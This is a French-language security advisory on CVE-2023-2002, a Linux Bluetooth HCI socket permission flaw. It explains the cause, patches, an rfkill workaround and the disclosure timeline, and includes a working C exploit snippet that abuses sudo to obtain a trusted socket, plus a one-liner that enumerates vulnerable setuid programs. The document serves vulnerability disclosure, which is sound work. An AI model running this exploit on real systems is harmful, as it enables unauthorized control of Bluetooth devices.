
Linux Bluetooth - Exécuter des commandes de gestion arbitraires en tant qu'utilisateur non privilégié
Une vérification des permissions insuffisante a été découverte dans le sous-système Bluetooth du noyau Linux lors du traitement des appels système ioctl des sockets HCI. Cela permet à des tâches ne disposant pas de la capacité CAP_NET_ADMIN appropriée de marquer facilement les sockets HCI comme de confiance (trusted). Les sockets de confiance sont destinés à permettre l'envoi et la réception de commandes et d'événements de gestion, tels que l'appairage ou la connexion avec un nouveau périphérique. Par conséquent, des utilisateurs non privilégiés peuvent obtenir un socket de confiance, ce qui conduit à une exécution non autorisée de commandes de gestion. L'exploitation nécessite uniquement la présence d'un ensemble de programmes setuid couramment utilisés (par exemple, su, sudo).
La cause directe de la vulnérabilité est l'extrait de code suivant :
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
L'implémentation d'un appel système ioctl vérifie si la tâche qui invoque l'appel possède la capacité CAP_NET_ADMIN nécessaire pour mettre à jour le drapeau HCI_SOCK_TRUSTED. Cependant, cette vérification ne concerne que la tâche appelante, qui n'est pas nécessairement celle qui a ouvert le socket. Par exemple, le socket peut être partagé avec une autre tâche via fork et execve, où cette dernière tâche peut être privilégiée, comme un programme setuid. De plus, si le socket est utilisé comme stdout ou stderr, un appel ioctl est effectué pour obtenir les paramètres tty, ce qui peut être vérifié via la commande strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
Les appels ioctl pour les paramètres tty ne réussiront jamais sur les sockets HCI, mais ils suffisent à marquer les sockets HCI comme de confiance. Par conséquent, un programme non privilégié peut détenir des sockets HCI de confiance, ce qui lui permet d'envoyer et de recevoir des commandes et événements de gestion, car le drapeau de confiance ne sera jamais effacé.
L'exploitation peut être aussi simple que ce qui suit :
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* En exécutant sudo avec un socket HCI comme stderr, un appel
* système ioctl rend le socket HCI privilégié (c'est-à-dire avec
* le drapeau HCI_SOCK_TRUSTED activé).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* Le socket n'a pas été lié. Il peut maintenant être lié au
* canal de gestion. Après cela, le drapeau HCI_SOCK_TRUSTED
* est toujours présent, car il ne sera effectivement jamais effacé.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
De plus, btmon peut être utilisé pour confirmer que le socket devient de confiance et que les commandes de gestion successives réussiront :
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Un PoC complet pour modifier l'état d'alimentation des périphériques Bluetooth peut être trouvé sur GitHub.
En cas d'exploitation réussie, la vulnérabilité identifiée pourrait compromettre la confidentialité, l'intégrité et la disponibilité des communications Bluetooth. Les attaquants peuvent exploiter cette vulnérabilité pour appairer le contrôleur avec des périphériques malveillants, même si le service Bluetooth est désactivé ou non installé. Il est également possible d'empêcher l'appairage de périphériques spécifiques, ou de lire certaines informations sensibles telles que les données OOB.
La vulnérabilité exploitable est présente dans le noyau Linux depuis v4.9. Plus précisément, elle devient exploitable après le commit f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets"). Avant ce commit, l'exploitation de la vulnérabilité nécessitait de tromper un programme privilégié pour qu'il lie un socket HCI, ce qui est très difficile (voire impossible) à déclencher en pratique. Cependant, après ce commit, il suffit de tromper un programme privilégié pour qu'il invoque un appel système ioctl, ce qui ne dépend que de l'existence d'un programme setuid, comme illustré ci-dessus.
L'exploitation fonctionne tant qu'il existe des programmes setuid (ou plus précisément, des programmes avec la capacité CAP_NET_ADMIN) qui invoquent des appels ioctl sur stdin, stdout ou stderr. Dans la plupart des distributions Linux, un test rapide (mais très grossier) révèle qu'un certain nombre de programmes setuid utilisent des appels système ioctl, marqués par 'V' dans le tableau ci-dessous :
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
Après une vérification manuelle de la sortie strace, il s'avère que tous ces utilisateurs d'ioctl utilisent des appels ioctl sur stdin, stdout ou stderr pour obtenir ou définir certains paramètres tty. Notez qu'aucun argument n'est passé à ces programmes setuid. Si des arguments spécialement conçus sont passés, le nombre d'utilisateurs d'ioctl pourrait augmenter. Par conséquent, un certain nombre de distributions Linux peuvent être vulnérables à l'exploitation.
En remarque, les appareils Android ne sont cependant pas susceptibles d'être affectés car l'exploitation nécessite l'existence de programmes setuid, ce qu'Android évite d'utiliser depuis un certain temps. De plus, il n'y a pas non plus d'applications avec la capacité CAP_NET_ADMIN sur Android.
Un correctif a été posté sur la liste de diffusion linux-bluetooth qui corrige cette vulnérabilité en remplaçant capable() par sk_capable(), où sk_capable() vérifie non seulement la tâche actuelle mais aussi que l'ouvreur du socket possède la capacité requise. Simultanément, un autre correctif soumis renforce la logique de traitement d'ioctl en vérifiant la validité de la commande au début de hci_sock_ioctl() et en retournant immédiatement un code d'erreur ENOIOCTLCMD avant de faire quoi que ce soit si la commande est invalide.
Comme mesure de contournement, si les périphériques Bluetooth ne sont pas utilisés du tout (mais qu'il n'est pas possible de retirer physiquement le périphérique), il est possible de simplement bloquer les périphériques à l'aide de rfkill, ce qui empêchera leur mise sous tension. Ce faisant, l'envoi de commandes de gestion pour allumer les périphériques Bluetooth ne réussira pas. Cela peut réduire considérablement l'impact de cette vulnérabilité.
Il existe deux façons d'éviter des vulnérabilités similaires à l'avenir : renforcer le noyau Linux et renforcer les programmes setuid de l'espace utilisateur.
Cette vulnérabilité partage exactement le même principe que CVE-2014-0181. Dans le cas de CVE-2014-0181, le problème était l'absence d'un mécanisme pour autoriser les opérations Netlink en fonction de l'ouvreur du socket, ce qui permettait à des utilisateurs locaux de modifier les configurations réseau en utilisant un socket Netlink pour la sortie standard ou d'erreur d'un programme setuid.
2023-04-04 : J'ai découvert cette vulnérabilité lors de mon audit de la pile de protocoles Bluetooth dans le noyau Linux.
2023-04-09 : J'ai signalé cette vulnérabilité à l'équipe de sécurité du noyau Linux et aux fournisseurs de distributions, avec une version initiale des correctifs.
2023-04-12 : Un identifiant CVE a été attribué à cette vulnérabilité, à savoir CVE-2023-2002.
2023-04-13 : Après plusieurs jours de discussion avec les mainteneurs, les correctifs ont été mis à jour en conséquence.
2023-04-16 : La vulnérabilité a été divulguée sur la liste de diffusion publique oss-security et sur GitHub (ici). Deux correctifs ont été postés sur la liste de diffusion publique linux-bluetooth (premier, second).
2023-05-01 : Le correctif a atterri dans le noyau principal (dans le cadre de la fenêtre de fusion v6.4), ainsi que dans v6.3.1, v6.2.14, v6.1.27 et v5.15.110. Il a également été mis en file d'attente pour la prochaine version stable des noyaux v5.10, v5.4, v4.19 et v4.14.
2023-05-17 : Enfin, le correctif a atterri dans tous les noyaux stables. Plus précisément, il a également été appliqué aux noyaux v5.10.180, v5.4.243, v4.19.283 et v4.14.315.